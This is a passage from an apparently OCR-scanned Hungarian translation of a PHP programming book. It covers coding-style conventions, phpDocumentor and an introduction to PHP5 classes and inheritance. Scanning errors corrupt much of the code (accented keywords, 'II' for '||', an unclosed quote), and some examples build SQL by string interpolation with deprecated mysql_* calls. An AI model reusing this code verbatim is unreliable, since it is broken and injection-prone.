tuk általában a következő okok miatt nem célszerű:

• Bárhol megváltoztathatók, így nehezebb azonosítani az esetleges hibák helyét.


• „Beszennyezik" a globális névteret. Ha egy globális változónak olyan általános ne-
vet adunk, mint például a $ számláló, és beépítünk egy könyvtárat, ami szintén
tartalmaz egy ugyanilyen nevű globális változót, mindkettő akadályozni fogja a má-
sikat. Ahogy a kódtár nő, egyre nehezebb lesz az ilyen ütközéseket elkerülni.

A megoldás általában egy elérőfüggvény (accessor function) alkalmazása.


1. fejezet • Kódolási stílusok 17

Az alábbi kód globális változókat használ egy maradandó (perzisztens) adatbázis-kapcso-


lat valamennyi változójához:

global $database_handle;
global $server;
global $user;
global $password;
$database_handle = mysql_pconnect($server, $user, $password);

Ehelyett jobb, ha egy osztályt alkalmazunk:

class Mysql_Test {
public $database_handle;
priváté $server = 'localhost';
priváté $user = 'test1;
priváté $password = ' t e s t ' ;
public function _____ construct()
{
$this->database_handle =
mysql_pconnect($this->server, $this->user, $this->password);
}
}

A 2. fejezetben ismét elővesszük ezt a példát, és az egykék, illetve burkoló osztályok is-
mertetésénél még hatékonyabb megoldásokat mutatunk be.

Máskor egy bizonyos változó elérésére lehet szükség:

$US_STATES = array('Alabama', ... , 'Wyoming');

Ebben az esetben egy osztály használata túlzás lenne. Ha nem szeretnénk globális válto-
zót alkalmazni, helyettesítsük egy elérő függvénnyel, ami statikus változóként a globális
tömböt kapja:

function us_states()
{
static $us_states = array('Alabama', ... , 'Wyoming');
return $us_states;
}

Ennek a megoldásnak az is előnye, hogy a forrástömb nem módosuló (immutable) lesz,


mintha a de fi ne kulcsszóval állítottuk volna be.
18 PHP fejlesztés felsőfokon

Hosszú életű változók


A hosszú életű változóknak adjunk rövid, de leíró jellegű neveket. Az ilyen nevek növelik
az olvashatóságot, és megkönnyítik a változók nyomon követését. A hosszú életű válto-
zók nem szükségszerűen globálisak, nem is feltétlenül a fő hatókörhöz tartoznak; egysze-
rűen olyan változók, amelyeket jelentős hosszúságú kódban használunk, illetve amelyek
ábrázolását nem árt tisztábbá tenni.

A következő példában a beszédes változónevek segítenek leírni a kód célját és viselkedését:

function clean_cache($expiration_time) {
global $CACHE_PATH;
$cachefiles = list_cache();
foreach($cachefiles as $cachefile) {
if(filemtime($CACHE_PATH." / " .$cachefile) > time() +
$expiration_time) {
unlink($CACHE_PATH." / " .$cachefile);
}
}
}

Ideiglenes változók
Az ideiglenes változók neve legyen rövid és tömör. Mivel ilyen változókat általában csak
kisebb kódblokkokban találunk, nem kell, hogy a nevük magyarázó jellegű legyen.
Ez különösen a ciklusváltozókra igaz; ezeknek célszerű mindig az i, j, k, 1, m és n
neveket adni.

Vegyük az alábbi példát:


$number_of_parent_indices = count($parent);
for($parent_index=0; $parent_index <$number_of_parent_indices;
$parent_index++) {
$number_of_child_indices = count($parent[$parent_index]);
for($child_index = 0; $child_index < $number_of_child_indices;
$child_index++) {
my_function($parent[$parent_index][$child_index]);
}
}

Most hasonlítsuk össze ezzel:


$pcount = count($parent);
f or ( $ i = 0; $i < $pcount; $i + + ) {
$ccount = count($parent[$i ]);
f or ( $ j = 0; $j < $ccount; $ j + + ) {
my_function($parent[$i] [$j] ) ;
}
}
1. fejezet • Kódolási stílusok 19

Még jobb, ha ezt használjuk:

foreach($parent as $child) {
foreach($child as $element) {
my_function($element);
}
}

Több szóból álló nevek

A többszavas változónevek szavainak elválasztására kétféle megközelítés létezik. Vannak,


akik a nagy- és kisbetűk keverését részesítik előnyben; ez az úgynevezett „teve" jelölés:

$numElements = count($elements);

A másik megoldás az aláhúzások használata szóelválasztóként:

$num_elements = count($elements);

Én a másodikat szeretem jobban a változók és függvények nevében, mégpedig a követke-


zők miatt:

• A kis- és nagybetűk már jelentéssel bírnak (valódi globális változók és állandók).


Ahhoz, hogy a szóelválasztás következetes legyen, olyan többszavas neveket kelle-
ne használnunk, mint a $CACHEDIR vagy a $PROFANITYMACROSET.
• Számos adatbázis nem különbözteti meg a kis- és nagybetűket a sémaobjektumok
neveiben. Ha a változóneveket adatbázis-oszlopok neveihez szeretnénk rendelni,
az adatbázisban ugyanazzal az összefűzési problémával találjuk magunkat szem-
ben, mint a globális neveknél.
• Én személyesen könnyebben olvashatónak találom az aláhúzással elválasztott ne-
veket.
• A nem angol anyanyelvű programozók könnyebben megtalálják a szótárban a sza-
vakat, ha azokat aláhúzással világosan elválasztjuk.

Függvénynevek
A függvényneveket ugyanúgy kell kezelni, mint az egyszerű változóneveket. Legyenek
csupa kisbetűsek, és a több szóból álló nevekben a szavakat válasszuk el aláhúzásjelekkel.
Emellett érdemes a kapcsos zárójeleknek a függvények bevezetésére érvényes klasszikus
K&R stílusát követni, ahol a zárójeleket a function kulcsszó alá igazítjuk. (Ami különbö-
zik a feltételes utasítások K&R stílusától.) íme egy példa a klasszikus K&R stílusra:
function print_hello($name)
{
echó "Hello $name";
}
20 PHP fejlesztés felsőfokon

Használjunk beszédes neveket!


Bármilyen nyelven is írunk egy kódot, annak érthetőnek kell lennie mások számára.
A függvények, osztályok és változók nevének tükröznie kell feladatukat. Ha egy függ-
vénynek a valami () vagy a csinál () nevet adjuk, semmivel sem tesszük olvashatóbbá
a kódot, ráadásul a program nehezebben módosítható és „amatőr" kinézetű lesz.

Osztálynevek
A Sun hivatalos Java stílus-útmutatója (lásd a További olvasmányok részt a fejezet végén)
szerint az osztályneveknek az alábbi szabályokat kell követniük:

• Az osztályok neve kezdődjön nagybetűvel, így első látásra megkülönböztethetők


a tagok nevétől.
• A beágyazott névterek utánzásához használjunk aláhúzásokat.
• A többszavas osztálynevek szavait fűzzük össze, és minden szó nagybetűvel kez-
dődjön („teve" jelölés).

íme két, a fenti szabályoknak megfelelő osztálydeklaráció:

class XML_RSS {}
class Text_PrettyPrinter {}

Tagfüggvénynevek
A Java stílus szerint a több szóból álló tagfüggvény- vagy metódusnevekben összefűzzük
a szavakat, és az elsőt kivéve minden szót nagybetűvel kezdünk. Nézzünk erre is egy példát:

class XML_RSS
{
function startHandler() {}
}

Az elnevezések következetessége
Az azonos célt szolgáló változók neve is legyen egyforma. Az alábbihoz hasonló kód je-
lentős tudathasadást mutat:

$num_elements = count($elements);

$objects_cnt = count($objects);
1. fejezet • Kódolási stílusok 21

Ha ragaszkodunk egy elnevezési rendszerhez, kevésbé lesz szükség a kód átfésülésére,


hogy meggyőződhessünk arról, hogy a megfelelő változónevet használtuk. A szabványo-
sítást többek között még a következő minősítők segíthetik:

$max_e1ement s;
$min_elements;
$sum_elements;
$prev_item;
$curr_item;
$next_item;

A változónevek és sémanevek egyeztetése


Az adatbázisrekordokhoz kapcsolódó változóneveknek mindig igazodniuk kell az oszlop-
nevekhez. Lássunk egy példát, amelyben helyes változó-elnevezési stílust követtünk, így
minden változónév pontosan megegyezik a megfelelő oszlopnéwel:

$query = "SELECT firstname, lastname, employee_id


FROM employees";
$results = mysql_query($query);
while(list($firstname, $lastname, $employee_id) =
mysql_fetch_row($results)) {
// . . .
}

Más, esetleg rövidített nevek használata zavaró és félrevezető lehet, ami megnehezíti
a kód későbbi módosítását.

Az általam valaha látott talán legzavaróbb változónevek egy olyan kódblokkban bukkan-
tak fel, ami egy termékrendelési adatbázison végzett műveleteket. Az egyik ilyen művelet
része volt két oszlop értékének felcserélése. A helyes megközelítés ez lett volna:

$first_query = "SELECT a , b
FROM subscriptions
WHERE subscription_id = $subscription_id";
$results = mysql_query($first_query);
l i st ($ a , $b) = mysql_fetch_row($results);
// a szükséges műveletek elvégzése
$new_a = $b;
$new_b = $a;
$second_query = "UPDATE subscriptions
SET a = ' $new_a ' ,
B = '$new_b'
WHERE subscription_id = $subscription_id" ;
mysql_query($second_query);
22 PHP fejlesztés felsőfokon

Ehelyett a fejlesztők amellett döntöttek, hogy a $a és $b változókat fordított sorrendben


választják ki, hogy az oszlopértékek és a változónevek illeszkedjenek az UPDATE-ben:

$first_query = "SELECT a , b
FROM subscriptions
WHERE subscription_id = $subscription_id";
$results = mysql_query( $ f irst_query);
l i s t ($ b, .$a) = mysql_fetch_row($results);
// a szükséges műveletek elvégzése
$second_query = "UPDATE subscriptions
SET a = '$a' ,
B = ' $ b'
WHERE subscription_id = $subscription_id";
mysql_query($second_query);

Mondanunk sem kell, hogy miután az eredeti SELECT és a záró UPDATE között mintegy
száz sornyi kód szerepelt, a program folyása kifejezetten zavaros volt.

A zavaros kódok elkerülése


Többé-kevésbé minden, amit eddig a fejezetben tárgyaltunk, a zavaros kód elkerüléséről
szólt. Ha egy nagy projektben egy adott kódolási stílust követünk, egységessé tehetjük
a kódrészeket, így ha a munkához új fejlesztő csatlakozik és a kódra pillant, annak logika
ja világos lesz, és tudni fogja, milyen stílushoz kell igazodnia. Az elrendezésre és elneve-
zésre vonatkozó szabályok betartása mellett azonban egyéb lépéseket is tehetünk, hogy
elkerüljük a kód zavarossá válását - ezekről ejtünk szót az alábbiakban.

Rövid címkék
A PHP megengedi az úgynevezett rövid címkék (short tag) használatát, valahogy így:

<?
echó "Hello $username";
?>
Mindazonáltal jobb, ha soha nem élünk ezzel a lehetőséggel: a rövid címkék értelmezése
a szokványos XML dokumentumok helyben (inline) történő kiírását lehetetlenné teszi,
mert a PHP ezt a fejlécet blokként értelmezi, és megkísérli végrehajtani:

<?xml version="l.0" ?>

Ehelyett alkalmazzunk inkább ehhez hasonló hosszú címkéket:

<?php
echó "Hello $username";
? >
1. fejezet • Kódolási stílusok 23

HTML készítése echo-val


A PHP szépségei között kiemelt helyen szerepel, hogy lehetővé teszi HTML beágyazását
a PHP kódba, és viszont. Ezt a képességet érdemes kihasználnunk.

Vessünk egy pillantást a következő kódrészletre, amely egy táblázatot épít fel:
Hello <?= $username ?>
<?php
echó "<table>";
echó "<tr><td>Name</tdxtd>Position</tdx/tr>" ;
foreach ($employees as $employee) {
echó
"<trxtd>$employee [name] </tdxtd>$employee [position] </tdx/tr>" ;
}
echó "</table>";
?>

Hasonlítsuk ezt össze az alábbival:


<table>
<tr><td>Name</tdxtd>Position</tdx/tr>
<?php foreach ($employees as $employee) { ?>
<trxtd><? echó $employee [ ' name ' ] ?x/tdxtd><? echó
$employee [ 'position' ] ?x/tdx/tr>
<?php } ?>
</table>
A második kódtöredék tisztább, és nem teszi zavarossá a HTML kódot az echó felesleges
használatával. Emellett meg kell jegyeznünk, hogy a <?php echó ?>-val egyenértékű
<?= ?> jelölés rövid címkék (short_tags) használatát igényli, amit több okból kifolyó-
lag is kerülnünk kell.

print vagy echó?


Aprint és az echó egymással felcserélhető, vagyis az értelmezőmotor nem tesz különb-
séget köztük. Tegyük le voksunkat az egyik mellett, és következetesen ragaszkodjunk
hozzá mindenütt, hogy a kódot világosabbá tegyük.

Következetes zárójelezés
A kódot zárójelezéssel is egyértelműbbé tehetjük. írhatunk például ilyesmit:

if($month == 'february') {
if($year % 4 == 0 && $year % 100 II $year % 400 == 0) {
$days_in_month = 29;
}
24 PHP fejlesztés felsőfokon

else {
$days_in_month = 28;
}
}

Ez azonban az olvasót arra kényszeríti, hogy emlékezzen a műveletek kiértékelési sorrend-


jére, hogy megértse a kifejezés kiszámításának menetét. Az alábbi példában zárójelezéssel
képi megerősítést adtunk a kiértékelési sorrendnek, így a logika könnyen követhető:

if($month == 'february') {
i f( ( ( $ ye a r % 4 == 0 )&& ($year % 1 0 0 ) ) II ($year % 400 ==0)) {
$days_in_month = 2 9;
}
else {
$days_in_month = 28;
}
}

Természetesen a zárójelek használatát sem szabad túlzásba vinni. Pillantsunk a következő


kódra:

if($month == 'february1) {
i f ( ( ( ( $ ye a r % 4) == 0 )&& ( ($year % 100) != 0)) II (($year % 400)
== 0 )) {
$days_in_month = 29 ;
}
else {
$days_in_month = 28;
}
}

A zárójelek itt „agyonnyomják" a kifejezést, így a kód célja éppolyan nehezen kideríthető,
mint a kizárólag a műveletek kiértékelési sorrendjére épülő kódé.

Dokumentáció
A dokumentáció elemi része a minőségi kódnak. Bár egy jól megírt kód nagyrészt önma-
gáért beszél, a programozóknak attól még el kell olvasniuk, hogy megérthessék működé-
sét. Az én cégemnél az ügyfelek részére készített programokat addig nem tekintjük befe-
jezettnek, amíg teljes külső alkalmazás-programozási felületüket (API) és az esetleges bel-
ső sajátosságokat nem dokumentáltuk kielégítően.
1. fejezet • Kódolási stílusok 25

A dokumentáció két fő kategóriára osztható:

• soron belüli megjegyzésekre, amelyek a kód logikájának folyását magyarázzák, és


főként azok számára készülnek, akik módosítják vagy kiegészítik a kódot, illetve
hibát keresnek benne; és
• az API dokumentációra, amelynek célcsoportját azok a felhasználók jelentik, akik
egy adott függvényt vagy osztályt anélkül szeretnének felhasználni, hogy magát
a kódot elolvasnák.

A következőkben ezt a két dokumentációtípust vesszük górcső alá.

Soron belüli megjegyzések


A PHP a soron belüli (inline) megjegyzések három fajtáját támogatja:

• C stílusú megjegyzések - Minden, ami / * és * / jelek között található, megjegyzésnek


számít. íme egy példa az ilyen megjegyzésekre:
/* Ez egy C stílusú megjegyzés
* (folytatás)
*/
• C+ + stílusú megjegyzések - Azok a sorok számítanak megjegyzésnek, amelyek a / /
jelekkel kezdődnek. Lássunk erre is egy példát:
// Ez egy C++ stílusú megjegyzés
• Héj/Perl stílusú megjegyzések - A megjegyzéseket a # jel vezeti be. Egy példa:
# Ez egy héj stílusú megjegyzés

A gyakorlatban én soha nem használok héj/Perl stílusú megjegyzéseket. A C stílusúakat


a nagyobb megjegyzésblokkokra tartom fenn, míg az egysoros megjegyzéseket C++ stílus-
ban írom.

A megjegyzések célja minden esetben az kell, hogy legyen, hogy világosabbá tegye a kó-
dot, íme egy klasszikus példa az értelmetlen megjegyzésre:

// i növelése
i++;

Ez a megjegyzés csupán megismétli, amit maga a művelet is leír (és aminek a kód min-
den olvasója számára világosnak kell lennie), de semmilyen utalást nem tesz arra, hogy
miért is hajtjuk végre a műveletet. Az ilyen értelmetlen megjegyzések csak zavaróak egy
programban.
26 PHP fejlesztés felsőfokon

Az alábbi példában a megjegyzés már értékes:

//A bitenkénti AND művelettel megnézzük, hogy a $i első bitjét


// beállították-e, hogy megállapítsuk, $i páros vagy páratlan
if ($i & 1) {
return true;
}

A megjegyzés világossá teszi, hogy az első bit beállítását ellenőrizzük, hogy megállapít-
suk, a szám páratlan-e.

API dokumentáció
Egy API dokumentálása egy külső felhasználó számára jelentősen különbözik a kód belső
dokumentálásától. Az API dokumentáció célja, hogy a fejlesztőknek egyáltalán ne kelljen
a kódba tekinteniük ahhoz, hogy megértsék, hogyan kell használni. Az ilyen dokumentá-
ció létfontosságú az egyes termékek részeként terjesztett PHP könyvtárak esetében, és
igen hasznos lehet az olyan könyvtárak dokumentálásánál is, amelyeket egy fejlesztőcsa-
pat belsőleg használ.

Az API dokumentáció alapvetően három célt szolgál:

• Bevezet a csomag vagy könyvtár használatába, hogy a végfelhasználók gyorsan el-


dönthessék, szükség van-e rá feladatuk elvégzéséhez.
• Felsorolja valamennyi nyilvános osztályt és függvényt, és leírja mind a kimeneti,
mind a bemeneti paramétereket.
• Oktatóanyagot vagy használati példákat nyújt, hogy pontosan megmutassa, hogyan
kell használni a kódot.

A fentiek mellett gyakran célszerű az alábbiakat is biztosítani a végfelhasználóknak:

• a védett tagfüggvények dokumentációja,


• példák, amelyek bemutatják, hogyan egészíthetők ki az osztályok új képességekkel.

Végezetül, egy API dokumentációs rendszernek a következőket is biztosítania kell a fej-


lesztő számára, aki a dokumentálandó kódot írja:

• A dokumentációnak a kódsorokon belül kell lennie. így könnyebb a dokumentáci-


ót naprakészen tartani, és mindig kéznél van.
• A dokumentáció nyelvezetének egyszerűnek és tömörnek kell lennie. Dokumentá-
ciót írni ritkán szórakoztató, így minél egyszerűbb a szöveg, annál biztosabb, hogy
a végére érünk.
• Léteznie kell valamilyen megoldásnak a dokumentáció szépen formázott, könnyen
olvasható formában történő kiíratására.
1, fejezet • Kódolási stílusok 27

Az API dokumentáció kezelésére saját rendszert is építhetünk, de felhasználhatunk már lé-


tező csomagot is. E kötet egyik visszatérő témája, hogy megtanuljunk jó döntéseket hozni.
A soron belüli dokumentáció esetében a phpDocumentor kiváló eszköz, ami minden igé-
nyünket kielégíti, vagyis nincs igazán szükség rá, hogy máshol keresgéljünk. A phpDocu-
mentor ihletője nagyrészt a JavaDoc, a Java automatikus dokumentálórendszere volt.

A phpDocumentor használata
A phpDocumentor úgy működik, hogy különleges formájú megjegyzéseket keres. Vala-
mennyi megjegyzésblokk így néz ki:

A Short Description (rövid leírás) a blokk által leírt elem rövid (egysoros) összegzése,
a Long Description (hosszú leírás) pedig egy tetszőlegesen szószátyár szövegblokk.
Az utóbbi megengedi a megjegyzésekben a HTML használatát formázási célokra. A tags
(címkék) a phpDocumentor címkéinek listája. Ezek közül álljon itt néhány fontosabb:

A dokumentációt úgy kezdjük, hogy létrehozunk egy fejlécblokkot a fájlnak:

//**
* Ez egy lapösszegző blokk
*
* Ez egy hosszabb leírás, ahol
* részletesebb információkat adhatunk.
* @package Primes
* Sauthor George Schlossnagle
*/

Ennek a blokknak kell elmagyaráznia, mire is használjuk az állományt, a @package érté-


két pedig a fájlra kell állítania. Hacsak felül nem bírálja egy osztály vagy függvény,
a ©package értékét a fájlban minden más phpDocumentor blokk örökölni fogja.
28 PHP fejlesztés felsőfokon

Ezután leírást készítünk egy függvényhez. A phpDocumentor megteszi, ami tőle telik, de
szüksége van némi segítségre. A függvényeket és osztályokat dokumentáló megjegyzése-
ket közvetlenül a függvény vagy osztály bevezetése előtt kell elhelyezni, másképp vala-
mennyi közbeeső kódra érvényesek lesznek. Megfigyelhetjük, hogy az alábbi példában
a ©páram is szerepel, ami meghatározza a függvény egyetlen bemenő paraméterét, vala-
mint a Sreturn, ami a visszatérési értéket írja le:

I **
* Determines whether a number is prime (stupidly)
*
* Determines whether a number is prime or not in
* about the slowest way possible.
* <code>
* for($i=0; $i<100; $i++) {
* if(is_prime($i)) {
* echó "$i is prime\n";
}
* }
* </code>
* @param integer
* ©return boolean true if prime, falsé elsewise
*/
function is_prime($num)
{
for($i=2; $i<= (int)sqrt($num); $i++) {
if($num % $i == 0) {
return falsé;
}
}
return true;
}
?>

Ez elég sok munkának tűnik, de lássuk, milyen eredménnyel jár. Futtassuk


a phpDocumentor-t az alábbi utasítással:

phpdoc -f Primes.php -o HTML:frames:phpedit -t /Users/george/docs

Az eredményt az 1.3 ábra mutatja.


1. fejezet • Kódolási stílusok 29

1.3 ábra
A phpdoc kimenete a primes.php esetében.

Hogy lássunk egy némileg bonyolultabb példát, nézzük meg az alábbi egyszerű
Employee osztályt:

<?php
I -k-k

* A simple class describing employees


*
* @package Employee
* @author George Schlossnagle
*/

/**
* An example of documenting a class
*/
class Employee
{

* @var string
*/
var $name;
/ **
30 PHP fejlesztés felsőfokon

* The employees annual salary


* @var number
*/
var $salary;
/* *
* (ivar number
*/
var $employee_id;

/* *
* The class constructor
* @param number
*/
function Employee($employee_id = falsé)
{
if($employee_id) {
$this->employee_id = $employee_id;
$this->_fetchInfo();
}
}

* Fetches info for employee


*
* @access priváté
*/
function _fetchlnfo()
{
$query = "SELECT name,
salary
FROM employees
WHERE employee_id = $this->employee_id";
$result = mysql_query($query);
list($this->name, $this->department_id) =
mysql_fetch_row($result);
}

/* *
* Returns the monthly salary for the employee
* Üreturns number Monthly salary in dollars
*/
function monthlySalary()
{
return $this->salary/12;
}
}
?>
1. fejezet • Kódolási stílusok 31

Észrevehetjük, hogy a _f etchlnf o elérése (@access) privát, ami azt jelenti, hogy
a phpdoc nem fog foglalkozni vele.

Az 1.4 ábra bizonyítja, hogy kis erőfeszítéssel könnyen profi dokumentációt állíthatunk elő.

1.4 ábra
A phpdoc kimenete az Employee esetében.

További olvasmányok
A phpDocumentor-ról többet is megtudhatunk, ha ellátogatunk a projekt www. phpdoc. org
címen található honlapjára. Itt a program elérhetőségéről és telepítéséről is tájékozódhatunk.

A Java stílus-útmutató mindenki számára érdekes olvasmány lehet, aki valamilyen kódolási
szabvány létrehozásán gondolkodik. A hivatalos útmutató a Sun-tól, a következő címen sze-
rezhető be: http://java.sun.com/docs/codeconv/html/CodeConvTOC.doc.html
Objektumközpontű programozás tervezési
minták segítségével

A PHP5 által hozott legnagyobb és leginkább ünnepelt változás az objektummodell teljes


átdolgozása, illetve a szabványos objektumközpontú (objektum-orientált, OO) megoldá-
sok jócskán feljavított támogatása volt. Kötetünknek nem tárgya az objektumközpontú
programozás, és a tervezési minták sem állnak érdeklődésünk homlokterében; mindkét
témáról számos kitűnő könyv született már. (A fejezet végén érdemes átböngészni az
ajánlott olvasmányok listáját.) E fejezet csupán néhány általánosan használt tervezési min-
ta, illetve a PHP5 objektumközpontú szolgáltatásainak áttekintése.

Némileg ellentétes érzéseim vannak a PHP nyelvű OO programozással kapcsolatban.


Az objektumközpontú megoldások számos feladatnál olyanok, mintha ágyúval lőnénk ve-
rébre; az általuk nyújtott elvonatkoztatási szint egyszerű feladatokhoz szükségtelen. Mind-
azonáltal minél bonyolultabb a rendszer, annál ésszerűbbnek tűnik az objektumközpontú
eljárások használata. Magam is dolgoztam nagyobb rendszereken, amelyeknél előnyös-
nek bizonyult az objektumközpontúság nyújtotta moduláris felépítés.

Ez a fejezet a PHP-ben ma elérhető haladó szintű OO szolgáltatásokat mutatja be. Az itt


kidolgozott példák némelyikét a könyv többi részében is gyakran elővesszük, és remélhe-
tőleg hasznosnak bizonyulnak annak bemutatásában, hogy egyes problémáknál előnyt je-
lent az objektumközpontú megközelítés.

Az OO programozás hangsúly-eltolódást jelent az eljárásközpontú programozáshoz


(procedurális programozáshoz) képest, ami a PHP programozás hagyományos módjának
számít. Az eljárásközpontú programokban adatokat tárolunk változókban, ezeket függvé-
nyeknek adjuk át, amelyek műveleteket végeznek velük, és módosítják azokat vagy új
34 PHP fejlesztés felsőfokon

adatokat hoznak létre. Az eljárásközpontú programok hagyományosan utasítások listájá-


ból állnak, amelyeken a végrehajtás sorban, vezérlési szerkezetek, függvények stb. segít-
ségével halad. Az alábbi is ilyen kód:

<?php
function hello($name)
{
return "Hello $name!\n";
}
function goodbye($name)
{
return "Goodbye $name!\n";
}
function age($birthday) {
$ts = strtotime($birthday);
if($ts === -1) {
return "Unknown";
}
else {
$diff = time() - $ts;
return floor($diff/(24*60*60*365)) ;
}
}
$name = "george";
$bday = "10 Oct 1973";
echó hello($name);
echó "You are ".age($bday)." years old.\n";
echó goodbye($name);
? >

Bevezetés az objektumközpontú programozásba


Fontos megjegyezni, hogy az eljárásközpontú programozásban a függvények és az adatok
elkülönülnek egymástól. Az OO programozásban azonban az adatokat és az azokon mű-
veleteket végző függvényeket objektumokban fogjuk össze. Az objektumok adatokat és
műveleteket végrehajtó függvényeket is tartalmaznak; az előbbieket tulajdonságoknak (jel-
lemzőknek, attribútumoknak), az utóbbiakat tagfüggvényeknek (metódusoknak) hívjuk.

Az objektumot azon osztály határozza meg, amelynek az objektum példánya. Az osztály


megadja az objektum tulajdonságait, illetve a felhasznált tagfüggvényeket. Objektumot
egy osztály példányosításával hozhatunk létre. A példányosítás során létrehozzuk az új
objektumot, kezdőértéket adunk minden tulajdonságának („inicializáljuk"), és meghívjuk
a konstruktőrét (létrehozó függvényét), ami elvégzi az elkészítéshez szükséges művelete-
ket. Az osztálykonstruktoroknak a PHP5-ben a - -construct () nevet kell adnunk, hogy
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 35

a motor képes legyen azonosítani őket. A következő példában egy User nevű egyszerű
osztályt hozunk létre, példányosítjuk, és meghívjuk két tagfüggvényét:

<?php
class User {
public $name;
public $birthday;
public function ______construct($name, $birthday)

$this->name = $name;
$this->birthday = $birthday;

public function hello()

return "Hello $this->name!\n";

public function goodbye()

return "Goodbye $this->name!\n";

public function age() {


$ts = strtotime($this->birthday);
i f ( $ t s === -1) {
return "Unknown";
}
else {
$diff = timeO - $ts;
return floor($diff/( 2 4 * 60 * 6 0 * 36 5 ) ) ;
}
}
}
$user = new User('george', '10 Oct 1 9 7 3 ' ) ;
echó $user->hello();
echó "You are ".$user->age()." years old.\n";
echó $user->goodbye();
?>

Ha 2003. október 10. előtt futtatjuk a fenti programot, ez jelenik meg a képernyőn:

Hello george!
You are 29 years old.
Goodbye george!
36 PHP fejlesztés felsőfokon

A példában szereplő konstruktőr igen egyszerű; csupán két tulajdonságot állít be, a nevet
(name) és a születésnapot (birthday). A tagfüggvények ugyancsak egyszerűek. Megfigyel-
hetjük, hogy a User objektumot képviselő $this automatikusan létrejön az osztálymetó-
dusokon belül. A tulajdonságok és tagfüggvények elérésére a -> jelölést használjuk.

A felszínen az objektumok nagyjából úgy festenek, mint egy társításos tömb (asszociatív
tömb), amihez rajta műveleteket végző függvények gyűjteménye tartozik. Ugyanakkor
rendelkeznek néhány további fontos tulajdonsággal, mégpedig a következőkkel:

• Öröklés - Az öröklés annak képessége, hogy már meglevő osztályokból új osztályo-


kat származtathatunk, és örökölhetjük vagy felülírhatjuk azok tulajdonságait és tag-
függvényeit.
• Egységbe zárás - Az egységbe zárás (betokozás, enkapszuláció) annak képessége,
hogy elrejthetjük az adatokat az osztály felhasználói elől.
• Különleges tagfüggvények - Amint a fejezetben korábban már láthattuk, az osztályok
konstruktorokkal végeztetik el az új objektumok létrehozásához kapcsolódó fel-
adatokat (például a tulajdonságok kezdőértékkel való ellátását). Az osztályoknak
emellett más automatikusan meghívódó műveleteik is vannak, amelyek a szokvá-
nyos eseményeknél (másolás, megsemmisítés stb.) hívódnak meg.
• Többalakúság - Amikor két osztály ugyanazokat a külső tagfüggvényeket valósítja
meg, felcserélhetőnek kell lenniük a függvényekben. A többalakúság (polimorfiz-
mus) tökéletes megértése azonban több ismeretet kíván, mint amivel jelenleg ren-
delkezünk, ezért a téma tárgyalását a fejezetben későbbre halasztjuk.

Öröklés
Amikor olyan új osztályt szeretnénk létrehozni, ami egy meglevő osztályhoz hasonló tulaj-
donságokkal vagy viselkedéssel rendelkezik, öröklést alkalmazunk. A PHP ezt azzal tá-
mogatja, hogy lehetővé teszi egy osztály számára, hogy kibővítsen egy létező osztályt.
Amikor egy osztályt bővítünk, az új osztály a szülő valamennyi tulajdonságát és tagfügg-
vényét örökli (néhány kivétellel, amiket a fejezetben később részletezünk). Ezután hozzá-
adhatunk új tagfüggvényeket és tulajdonságokat, de felülírhatjuk a meglevőket is.
Az öröklési kapcsolatokat az extends kulcsszóval jelezzük. A User (Felhasználó) bővíté-
sével készítsünk most egy új osztályt, amely a felügyeleti jogkörrel rendelkező felhaszná-
lókat jelöli. Az osztályt azzal bővítjük, hogy kikeressük a felhasználó jelszavát egy NDBM
állományból, és egy összehasonlító függvényt biztosítunk, amellyel összevetjük a jelszót
a felhasználó által megadottal:

class AdminUser extends User{


public $password;
public function _____ construct($name, $birthday)
{
parent::__ construct($name, $birthday);
$db = dba_popen("/data/etc/auth.pw", "r", "ndbm");
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 37

$this->password = dba_fetch($db, $name);


dba_close($db);
}
public function authenticate($suppliedPassword)
{
if($this->password === $suppliedPassword) {
return true;
}
else {
return falsé;
}
}
}

Az AdminUser meglehetősen rövid, mégis örökli a User valamennyi tagfüggvényét, így


a hello (), a goodbye () és az age () is használható. Megfigyelhetjük, hogy a szülő
konstruktőrét parent: :_____ construct () formában magunknak kell meghívnunk; eze-
ket a PHP5 nem hívja meg automatikusan. A szülőosztály eléréséhez a parent kulcsszót
kell alkalmaznunk.

Egységbe zárás
Azok számára, akik korábban valamilyen eljárásközpontú nyelven vagy a PHP4-ben prog-
ramoztak, furcsa lehet a nyilvánosság fogalma. A PHP 5-ös változata ugyanis a nyilvános,
védett és privát adattulajdonságok és tagfüggvények bevezetésével adatrejtési képessége-
ket ad a nyelvhez. Ezekre általában a PPP néven hivatkoznak (angolul sorrendben public,
protected, priváté), szabványos jelentésük pedig a következő:

• Nyilvános - A nyilvános változókat és tagfüggvényeket az osztályt felhasználó bár-


milyen kód közvetlenül elérheti.
• Védett - A védett változók és tagfüggvények nem érhetők el közvetlenül az osztály
felhasználói által, csak egy, az osztálytól öröklő alosztályon belül.
• Privát - A privát változók és tagfüggvények csak azon az osztályon belül hozzáfér-
hetők, amelyben meghatározták őket. Ez azt jelenti, hogy az osztályt bővítő gyer-
mekekből nem hívhatók meg.

Az egységbe zárás révén nyilvános felületet határozhatunk meg, amely szabályozza, hogy
a „felhasználók" hogyan léphetnek kapcsolatba az osztállyal. A nem nyilvános tagfüggvé-
nyeket módosíthatjuk vagy újraépíthetjük (refaktorizáció), anélkül, hogy attól kellene tar-
tanunk, hogy megsértjük az osztálytól függő kódot. A privát tagfüggvények büntetlenül
újraépíthetők, a védett tagfüggvények újraépítése azonban nagyobb odafigyelést kíván,
hogy meg ne sértsük az osztályok származtatott osztályait.

Az egységbe zárás nem feltétlenül szükséges a PHP-ben (ha kihagyjuk, a tagfüggvények


és tulajdonságok automatikusan nyilvánosak lesznek), de amikor csak lehet, célszerű al-
kalmazni. Ha csapatban dolgozunk - de még ha egyedüli programozóként is -, különö-
38 PHP fejlesztés felsőfokon

sen nagy a kísértés, hogy kikerüljük egy objektum nyilvános felületét, és belsőnek feltéte-
lezett tagfüggvények használatával rövidítsük le az utat. Ez hamar karbantarthatatlan kód-
hoz vezethet, mert egy kényszerűen következetes, egyszerű nyilvános felület helyett az
osztálynak olyan tagfüggvényeit alkalmazzuk, amelyeket félünk újraépíteni, nehogy hibát
okozzunk egy osztályban, amely használja őket. A PPP alkalmazásával mindez elkerülhe-
tő: biztosíthatjuk, hogy a külső programok csak a nyilvános tagfüggvényeket használják,
és nem érzünk kísértést a kanyar kiegyenesítésére.

Statikus tulajdonságok és tagfüggvények


A PHP-ben a tagfüggvényeket és tulajdonságokat statikusként is bevezethetjük. A stati-
